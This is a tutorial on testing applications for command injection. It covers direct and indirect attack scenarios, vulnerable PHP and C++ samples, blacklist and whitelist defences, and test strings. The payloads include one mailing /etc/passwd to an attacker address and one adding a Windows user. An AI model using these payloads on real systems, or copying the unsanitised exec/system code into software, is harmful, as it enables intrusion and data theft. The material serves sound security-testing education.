Summary
Command injection vulnerabilities are particularly dangerous as they allow unauthorized execution of operating system commands. They exist because applications fail to properly validate and sanitize the parameters they use when invoking shell functions such as system() or exec() to execute system commands. Attackers with control of these parameters can trick the application into executing any system command of their choice.
For example, a UNIX application lists the contents of a folder using the ls command. It takes the string folder_name from the user and, without any validation, concatenates it to "ls" to build the actual command. The application then passes the command ("ls folder_name") to the system() function and grabs the results. A command injection bug allows an attacker to inject an additional command in the input string folder_name. As a result the application is tricked into executing the attacker’s additional command.
In order to properly test for command injection vulnerabilities, the following steps should be followed:
- Step 1: Understand Attack Scenarios
- Step 2: Analyze Causes and Countermeasures
- Step 3: Start Testing and Exploring
- Step 4: Fine-tune Test Cases
Step 1: Understand Attack Scenarios
The first step in testing for command injection vulnerabilities is to understand their attack scenarios. There are two common types on command injection bugs:
- Direct command injection.
- Indirect command injection.
Scenario 1: Direct Command injection
The most basic form of command injection consists of directly supplying the additional command to the vulnerable application. First the attacker discovers that the application invokes a system command by directly passing user supplied data as arguments to the command. Then the attacker supplies the malicious command as part of the expected arguments. The application executes the original command and then the malicious one.
In detail:
- Attacker discovers that application uses client input to execute a command.
- Attacker supplies malicious command as part of the client input.
- Attacker observes application executing additional command.
Scenario 2: Indirect Command injection
This case of command injection consists of indirectly supplying the additional command to the vulnerable application possibly through a file or an environment variable. First the attacker deducts that the application invokes a system command using data from an external source such as a file or an environment variable. The attacker then modifies the contents of the external source to add a malicious command. Then the attacker waits or forces the application to execute the malicious command along with the original one.
In detail:
- Attacker discovers that application uses data stored in an external source to execute a command.
- Attacker edits the external source to include malicious command.
- Attacker waits until the application executes the original command (or attacker attempts to bring the application to a state in which it will execute the command supplied).
- Attacker verifies that the application executes the injected command.
Step 2: Analyze Causes and Countermeasures
During this step you will understand the cause of command injection bugs as well as common defenses. This will help you look for bugs in code and recognize safe coding practices.
Command Injection Causes
There is one single cause for command injection bugs: poor input validation. Any application that builds command strings using non-sanitized data is vulnerable to this bug. . The following code snippets demonstrate command injection vulnerabilities. This PHP code running in Windows uses the input supplied by a text box in a form and invokes the exec function to type the file:
<?php
$command = 'type ' . $_POST['username'];
exec($command, $res);
for ($i = 0; $i < sizeof($res); $i++)
echo $res[$i].'<br>';
?>
A user can supply the following string to see the list of active connections in the server:
file.txt|netstat -ano
The following example in C++ (courtesy of OWASP [i]) runs in a POSIX compliant environment such as a Unix variant. It uses input supplied by the command line to system and runs the cat command:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );
system(command);
return (0);
}
A user can supply the following string to list the contents of the see the contents of the server’s current directory:
file.txt;ls
The code snippets above use two different functions that interact with the shell named exec() and system(). The following list compiles popular functions attacked during command injection:
Function
|
Language
|
system, execlp,execvp, ShellExecute, _wsystem
|
C/C++
|
Runtime.exec
|
Java
|
exec, eval
|
PHP
|
exec, open, eval,
|
Perl
|
exec, eval, execfile, input
|
Python
|
Shell, ShellExecuteForExplore, ShellExecute
|
VB
|
Command Injection Countermeasures
Applications defend against command injection bugs by doing proper input validation and sanitization. Developers must look for all instances where the application invokes a shell-like system function such as exec or system and avoid executing them unless the parameters have been properly validated and sanitized. There are two possible ways to validate these parameters: using black lists or using white lists.
Black lists check for malicious patterns before allowing execution. In case of command injection, a black list might contain command delimiters such as a semicolon (;)vertical dash (|), double dash (||), double amp (&&) as well as dangerous commands such as rm, cp, cat, ls, at, net, netstat, del, copy, etc. However, a major drawback impedes this countermeasure from being effective; unless the black list covers absolutely all dangerous possibilities, the adversary can find a variation outside of the black list to carry an attack.
White lists match against safe execution patterns. If the data in question doesn’t match any of the safe patterns it is disallowed. This solves the problem of new variations of dangerous constructs since any new (malicious) construct that doesn’t match a safe one is automatically blocked. A common way to implement white lists is to match the input against a regular expression that indicates the safe format for the command. However, regular expressions can be complex to write and interpret. Developers must make sure they understand well how to write and interpret regular expressions before implementing this defense.
Step 3: Start Testing and Exploring
During this step you will start testing your application with basic command injection strings and observing how the application reacts.
Start with a simple test string
First, you need to find all the places where your application invokes a system command to perform and operation. Then on each of these places, start exploring how the application handles the basic characters needed for command injection. The following two strings are good to try as they contain both commands and command injection characters:
abc;dir C:|xyz&netstat (Windows)
abc;ls|cp&rm (UNIX)
If the application doesn’t give an error message because of the special characters then there is a chance that it suffers from a command injection bug.
Build a valid command
It is important that you are able to comprehend. For example, a file not found error rather than an invalid data format error is a good hint that the application is processing the special characters as part of the file. For example, you might get a file not found error when using the following string:
file.txt|dir c:
This is because the application is calling exec() with the following string:
cmd /c type "c:\public_html\user_files\file.txt|dir c:"
For the input string to execute the directory listing command you need to close the double quotes before appending the extra command:
file.txt"|dir c:
Pay extra attention to quotes and double quotes since omitting them can easily result in the injection string treated as data.
Sometimes the application doesn’t reflect the output of the injected command on screen. To get around this, use a command that doesn’t create screen output but that performs a visible action:
file.txt;mail attacker@attacker.org </etc/passwd
|
Emails attacker the server’s passwords.
|
file.txt|net user /add "hacker" |
Adds hacker to the Windows user database.
|
file.txt;ping%20attacker_site
|
Pings the attacker site.
|
Step 4: Fine-tune Test Case Data
To thoroughly test your application against command injection bugs, you must cover all possible entry points and scenarios where command injection is possible.
Try different entry points and scenarios
Continue exploring the different entry points of the application. The format of the test case data will vary depending on the entry point. For example if you are testing through the URL the string file.txt"|dir c: might look like one of the two below (depending on the URL encoding):
-
file.txt"|dir%20c:
-
file.txt"|dir+c:
It is important that you consider different encodings and data format for additional command injection entry points such as: input fields, URL parameters, POST data, web service methods, user interface elements, environment variables, database contents, registry contents, file contents, third party APIs, and network packets.
When testing for indirect command injection it is important that you control the source of the parameters passed to the target function. For example, if you are attacking an application using execfile as the target function then you must control the file passed to this function. Let’s say the application uses execfile /private/commands.txt. Here you don’t need to pass any malicious parameters; you must modify the commands file to inject malicious commands and wait for (or force) the injected command to execute. It is recommended that, when testing for indirect injection, you use an environment monitoring tool. You can use Sysinternals Process Explorer that now combines registry, file system, and environment variable monitoring to find out the external sources your application uses when invoking shell or system commands.
Conclusion
Command injection bugs exist because of poor input validation and sanitization on the parameters used by functions that interact with the operating system shell. Any attacker with control of these parameters can force the application to execute unwanted system commands. Testing against command injection bugs consists of manipulating the original command parameters with different combinations of command injection strings that vary depending on the action to perform and the entry point under test.
[i] Command Injection. OWASP. http://www.owasp.org/index.php/Command_Injection